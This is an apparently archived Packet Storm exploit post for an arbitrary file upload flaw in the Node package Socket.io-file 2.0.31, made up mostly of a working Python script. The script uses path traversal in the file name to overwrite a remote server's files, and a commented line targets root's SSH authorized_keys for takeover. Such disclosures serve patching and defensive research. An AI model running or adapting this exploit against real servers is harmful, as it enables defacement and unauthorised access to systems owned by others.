what you don't know can hurt you

Socket.io-file 2.0.31 Arbitrary File Upload

Socket.io-file 2.0.31 Arbitrary File Upload
Posted Jul 27, 2020
Authored by Cr0wTom

Socket.io-file versions 2.0.31 and below suffer from an arbitrary file upload vulnerability.

tags | exploit, arbitrary, file upload
MD5 | 036513b2828cb0405115bfde1a5912ee

Socket.io-file 2.0.31 Arbitrary File Upload

Change Mirror Download
# Exploit Title: Socket.io-file 2.0.31 - Arbitrary File Upload
# Date: 2020-07-02
# Exploit Author: Cr0wTom
# Vendor Homepage: https://www.npmjs.com/package/socket.io-file
# Software Link: https://www.npmjs.com/package/socket.io-file/v/2.0.31
# Version: <= v2.0.31
# Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
# CVE: -

# Requirements: pip install socketIO-client-nexus==0.7.6

#!/usr/bin/env python

import sys
import json
import os
from socketIO_client_nexus import SocketIO, LoggingNamespace

def file_creation(RHOST, RPORT):
print ('Initiating connection...')
with SocketIO(RHOST, RPORT, LoggingNamespace) as socketIO:

print ('Creating file...')

# Example server running in /home/testuser/Documents/socket-app so customize the path appropriately
# Change the "name" option if you want to create an other file in an different path of the system
socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../client/index.html","size":1,"chunkSize":10240,"sent":0,"data":{}})

# Example for server running with root access:
# socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../../../../../root/.ssh/authorized_keys","size":1,"chunkSize":10240,"sent":0,"data":{}})

print ('Writing data to file...')

# Add the data you want to get written to the file
data = "Exploited by Cr0wTom"
json_string = json.dumps(data)
socketIO.once("socket.io-file::request::u_0", on_aaa_response)
socketIO.emit("socket.io-file::stream::u_0", json_string)

def on_aaa_response(*args):
print('on_aaa_response', args)

def print_usage():
print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
print ('Usage: python3 exploit.py <RHOST> <RPORT>')
print ('RHOST The target host IP address or domain.')
print ('RPORT The target host port number of the nodejs server.')

if __name__ == '__main__':

# ensure we have at least an IP and Port
if len(sys.argv) < 3:
print_usage()
sys.exit(1)

print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
file_creation(sys.argv[1], sys.argv[2])
Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    15 Files
  • 21
    Jan 21st
    10 Files
  • 22
    Jan 22nd
    16 Files
  • 23
    Jan 23rd
    1 Files
  • 24
    Jan 24th
    1 Files
  • 25
    Jan 25th
    36 Files
  • 26
    Jan 26th
    26 Files
  • 27
    Jan 27th
    28 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close